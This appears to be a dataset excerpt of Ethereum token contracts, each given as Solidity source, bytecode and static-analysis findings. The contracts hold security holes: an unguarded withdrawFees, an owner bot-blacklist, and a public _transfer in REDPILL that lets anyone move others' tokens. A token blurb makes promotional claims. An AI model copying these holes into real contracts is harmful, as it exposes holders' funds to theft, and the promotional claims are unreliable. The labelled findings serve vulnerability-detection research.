function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (3 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15);
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f8578063cf0848f71461040d578063cf9d4afa1461042d578063dd62ed3e1461044d578063e6ec64ec14610493578063f2fde38b146104b357600080fd5b8063715018a61461032e5780638da5cb5b1461034357806390d49b9d1461036b57806395d89b411461038b578063a9059cbb146103b8578063b515566a146103d857600080fd5b806331c2d8471161010857806331c2d847146102475780633bbac57914610267578063437823ec146102a0578063476343ee146102c05780635342acb4146102d557806370a082311461030e57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101be57806318160ddd146101ee57806323b872dd14610213578063313ce5671461023357600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d3565b005b34801561017e57600080fd5b5060408051808201909152601181527011d49151538810d0539113114810d55315607a1b60208201525b6040516101b5919061185b565b60405180910390f35b3480156101ca57600080fd5b506101de6101d93660046118d5565b61051f565b60405190151581526020016101b5565b3480156101fa57600080fd5b50678ac7230489e800005b6040519081526020016101b5565b34801561021f57600080fd5b506101de61022e366004611901565b610536565b34801561023f57600080fd5b506009610205565b34801561025357600080fd5b50610170610262366004611958565b61059f565b34801561027357600080fd5b506101de610282366004611a1d565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102ac57600080fd5b506101706102bb366004611a1d565b610635565b3480156102cc57600080fd5b50610170610683565b3480156102e157600080fd5b506101de6102f0366004611a1d565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031a57600080fd5b50610205610329366004611a1d565b6106bd565b34801561033a57600080fd5b506101706106df565b34801561034f57600080fd5b506000546040516001600160a01b0390911681526020016101b5565b34801561037757600080fd5b50610170610386366004611a1d565b610715565b34801561039757600080fd5b5060408051808201909152600481526311d5531560e21b60208201526101a8565b3480156103c457600080fd5b506101de6103d33660046118d5565b61078f565b3480156103e457600080fd5b506101706103f3366004611958565b61079c565b34801561040457600080fd5b506101706108b5565b34801561041957600080fd5b50610170610428366004611a1d565b61096c565b34801561043957600080fd5b50610170610448366004611a1d565b6109b7565b34801561045957600080fd5b50610205610468366004611a3a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049f57600080fd5b506101706104ae366004611a73565b610c12565b3480156104bf57600080fd5b506101706104ce366004611a1d565b610c4f565b6000546001600160a01b031633146105065760405162461bcd60e51b81526004016104fd90611a8c565b60405180910390fd5b6000610511306106bd565b905061051c81610ce7565b50565b600061052c338484610e61565b5060015b92915050565b6000610543848484610f85565b610595843361059085604051806060016040528060288152602001611c07602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611344565b610e61565b5060019392505050565b6000546001600160a01b031633146105c95760405162461bcd60e51b81526004016104fd90611a8c565b60005b8151811015610631576000600560008484815181106105ed576105ed611ac1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062981611aed565b9150506105cc565b5050565b6000546001600160a01b0316331461065f5760405162461bcd60e51b81526004016104fd90611a8c565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610631573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546105309061137e565b6000546001600160a01b031633146107095760405162461bcd60e51b81526004016104fd90611a8c565b6107136000611402565b565b6000546001600160a01b0316331461073f5760405162461bcd60e51b81526004016104fd90611a8c565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052c338484610f85565b6000546001600160a01b031633146107c65760405162461bcd60e51b81526004016104fd90611a8c565b60005b815181101561063157600c5482516001600160a01b03909116908390839081106107f5576107f5611ac1565b60200260200101516001600160a01b0316141580156108465750600b5482516001600160a01b039091169083908390811061083257610832611ac1565b60200260200101516001600160a01b031614155b156108a35760016005600084848151811061086357610863611ac1565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ad81611aed565b9150506107c9565b6000546001600160a01b031633146108df5760405162461bcd60e51b81526004016104fd90611a8c565b600c54600160a01b900460ff166109435760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fd565b600c805460ff60b81b1916600160b81b17905542600d8190556109679060b4611b08565b600e55565b6000546001600160a01b031633146109965760405162461bcd60e51b81526004016104fd90611a8c565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e15760405162461bcd60e51b81526004016104fd90611a8c565b600c54600160a01b900460ff1615610a495760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fd565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac49190611b20565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b359190611b20565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba69190611b20565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3c5760405162461bcd60e51b81526004016104fd90611a8c565b600f811115610c4a57600080fd5b600855565b6000546001600160a01b03163314610c795760405162461bcd60e51b81526004016104fd90611a8c565b6001600160a01b038116610cde5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fd565b61051c81611402565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2f57610d2f611ac1565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dac9190611b20565b81600181518110610dbf57610dbf611ac1565b6001600160a01b039283166020918202929092010152600b54610de59130911684610e61565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e1e908590600090869030904290600401611b3d565b600060405180830381600087803b158015610e3857600080fd5b505af1158015610e4c573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610f245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fe95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b03821661104b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b600081116110ad5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fd565b6001600160a01b03831660009081526005602052604090205460ff16156110d357600080fd5b6001600160a01b03831660009081526004602052604081205460ff1615801561111557506001600160a01b03831660009081526004602052604090205460ff16155b801561112b5750600c54600160a81b900460ff16155b801561115b5750600c546001600160a01b038581169116148061115b5750600c546001600160a01b038481169116145b1561133257600c54600160b81b900460ff166111b95760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fd565b50600c546001906001600160a01b0385811691161480156111e85750600b546001600160a01b03848116911614155b80156111f5575042600e54115b15611262576000611205846106bd565b90506112266103e8611220678ac7230489e800006003611452565b906114d1565b83111561123257600080fd5b61124b6103e8611220678ac7230489e80000600f611452565b6112558483611513565b111561126057600080fd5b505b600d54421415611290576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061129b306106bd565b600c54909150600160b01b900460ff161580156112c65750600c546001600160a01b03868116911614155b1561133057801561133057600c546112fa9060649061122090600f906112f4906001600160a01b03166106bd565b90611452565b81111561132757600c546113249060649061122090600f906112f4906001600160a01b03166106bd565b90505b61133081610ce7565b505b61133e84848484611572565b50505050565b600081848411156113685760405162461bcd60e51b81526004016104fd919061185b565b5060006113758486611bae565b95945050505050565b60006006548211156113e55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fd565b60006113ef611675565b90506113fb83826114d1565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60008261146157506000610530565b600061146d8385611bc5565b90508261147a8583611be4565b146113fb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fd565b60006113fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611698565b6000806115208385611b08565b9050838110156113fb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fd565b8080611580576115806116c6565b60008060008061158f876116e2565b6001600160a01b038d16600090815260016020526040902054939750919550935091506115bc9085611729565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546115eb9084611513565b6001600160a01b03891660009081526001602052604090205561160d8161176b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161165291815260200190565b60405180910390a3505050508061166e5761166e600954600855565b5050505050565b60008060006116826117b5565b909250905061169182826114d1565b9250505090565b600081836116b95760405162461bcd60e51b81526004016104fd919061185b565b5060006113758486611be4565b6000600854116116d557600080fd5b6008805460095560009055565b6000806000806000806116f7876008546117f5565b915091506000611705611675565b90506000806117158a8585611822565b909b909a5094985092965092945050505050565b60006113fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611344565b6000611775611675565b905060006117838383611452565b306000908152600160205260409020549091506117a09082611513565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006117d082826114d1565b8210156117ec57505060065492678ac7230489e8000092509050565b90939092509050565b6000808061180860646112208787611452565b905060006118168683611729565b96919550909350505050565b600080806118308685611452565b9050600061183e8686611452565b9050600061184c8383611729565b92989297509195505050505050565b600060208083528351808285015260005b818110156118885785810183015185820160400152820161186c565b8181111561189a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051c57600080fd5b80356118d0816118b0565b919050565b600080604083850312156118e857600080fd5b82356118f3816118b0565b946020939093013593505050565b60008060006060848603121561191657600080fd5b8335611921816118b0565b92506020840135611931816118b0565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561196b57600080fd5b823567ffffffffffffffff8082111561198357600080fd5b818501915085601f83011261199757600080fd5b8135818111156119a9576119a9611942565b8060051b604051601f19603f830116810181811085821117156119ce576119ce611942565b6040529182528482019250838101850191888311156119ec57600080fd5b938501935b82851015611a1157611a02856118c5565b845293850193928501926119f1565b98975050505050505050565b600060208284031215611a2f57600080fd5b81356113fb816118b0565b60008060408385031215611a4d57600080fd5b8235611a58816118b0565b91506020830135611a68816118b0565b809150509250929050565b600060208284031215611a8557600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b0157611b01611ad7565b5060010190565b60008219821115611b1b57611b1b611ad7565b500190565b600060208284031215611b3257600080fd5b81516113fb816118b0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b8d5784516001600160a01b031683529383019391830191600101611b68565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611bc057611bc0611ad7565b500390565b6000816000190483118215151615611bdf57611bdf611ad7565b500290565b600082611c0157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d1584b50349d527ad3dba52013d29b5ee04d736c372bb3c731962c04332a193e64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,716 |
0x96871930955d3b400e14edf397c5042994e1f34a
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract Context {
constructor () { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address) {
return msg.sender;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, Ownable, IERC20 {
using SafeMath for uint;
mapping (address => uint) internal _balances;
mapping (address => mapping (address => uint)) internal _allowances;
uint internal _totalSupply;
bool burnActive = false;
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address towner, address spender) public view override returns (uint) {
return _allowances[towner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) public{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address towner, address spender, uint amount) internal {
require(towner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[towner][spender] = amount;
emit Approval(towner, spender, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: Mint to the zero address");
_balances[account] = _balances[account].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), account, amount);
}
}
contract ERC20Detailed is ERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory tname, string memory tsymbol, uint8 tdecimals) {
_name = tname;
_symbol = tsymbol;
_decimals = tdecimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract REDPILL is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public _owner;
constructor () ERC20Detailed("The Red Pill", "REDPILL", 18) {
_owner = msg.sender;
_totalSupply = 100000000000 *(10**uint256(18));
_balances[_owner] = _totalSupply;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610219578063b2bdfa7b1461022c578063dd62ed3e14610244578063f2fde38b1461027d57600080fd5b8063715018a6146101d15780638da5cb5b146101d957806395d89b41146101fe578063a457c2d71461020657600080fd5b806330e0789e116100d357806330e0789e1461016b578063313ce56714610180578063395093511461019557806370a08231146101a857600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d610290565b60405161011a9190610a20565b60405180910390f35b6101366101313660046109f7565b610322565b604051901515815260200161011a565b6003545b60405190815260200161011a565b6101366101663660046109bc565b610338565b61017e6101793660046109bc565b6103a1565b005b60075460405160ff909116815260200161011a565b6101366101a33660046109f7565b610539565b61014a6101b6366004610970565b6001600160a01b031660009081526001602052604090205490565b61017e61056f565b6000546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d610613565b6101366102143660046109f7565b610622565b6101366102273660046109f7565b610671565b6007546101e69061010090046001600160a01b031681565b61014a61025236600461098a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61017e61028b366004610970565b61067e565b60606005805461029f90610aa2565b80601f01602080910402602001604051908101604052809291908181526020018280546102cb90610aa2565b80156103185780601f106102ed57610100808354040283529160200191610318565b820191906000526020600020905b8154815290600101906020018083116102fb57829003601f168201915b5050505050905090565b600061032f338484610798565b50600192915050565b60006103458484846103a1565b610397843361039285604051806060016040528060288152602001610b1a602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906108b4565b610798565b5060019392505050565b6001600160a01b03831661040a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b03821661046c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610401565b6104a981604051806060016040528060268152602001610af4602691396001600160a01b03861660009081526001602052604090205491906108b4565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546104d890826108ee565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061052c9085815260200190565b60405180910390a3505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161032f91859061039290866108ee565b6000546001600160a01b031633146105c95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610401565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606006805461029f90610aa2565b600061032f338461039285604051806060016040528060258152602001610b42602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906108b4565b600061032f3384846103a1565b6000546001600160a01b031633146106d85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610401565b6001600160a01b03811661073d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610401565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107fa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610401565b6001600160a01b03821661085b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610401565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910161052c565b600081848411156108d85760405162461bcd60e51b81526004016104019190610a20565b5060006108e58486610a8b565b95945050505050565b6000806108fb8385610a73565b90508381101561094d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610401565b9392505050565b80356001600160a01b038116811461096b57600080fd5b919050565b600060208284031215610981578081fd5b61094d82610954565b6000806040838503121561099c578081fd5b6109a583610954565b91506109b360208401610954565b90509250929050565b6000806000606084860312156109d0578081fd5b6109d984610954565b92506109e760208501610954565b9150604084013590509250925092565b60008060408385031215610a09578182fd5b610a1283610954565b946020939093013593505050565b6000602080835283518082850152825b81811015610a4c57858101830151858201604001528201610a30565b81811115610a5d5783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610a8657610a86610add565b500190565b600082821015610a9d57610a9d610add565b500390565b600181811c90821680610ab657607f821691505b60208210811415610ad757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a260d9618b0daa82a9d4f868ccec06241ffbc1fedc78158f3115252f303b588864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 3,717 |
0xb30ca70eff2891343090f0f666d8b2689cebe7b7
|
/*
Yugi Inu is the latest Anime & Inu based Token released on the ERC20 Network.
Its purpose is to reward holders with incredible gains by superseding all other tokens.
Yugi Inu is designed to benefit the community which is why it has already begun working
on its utilities (rare Yu Gi Oh NFT card drops and an open world style mobile game similar
to Pokemon). This unique utility combined with the experienced marketing and developer team,
will enable Yugi Inu to achieve its goals of being the #1 token in the anime space.
https://t.me/yugi_inu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
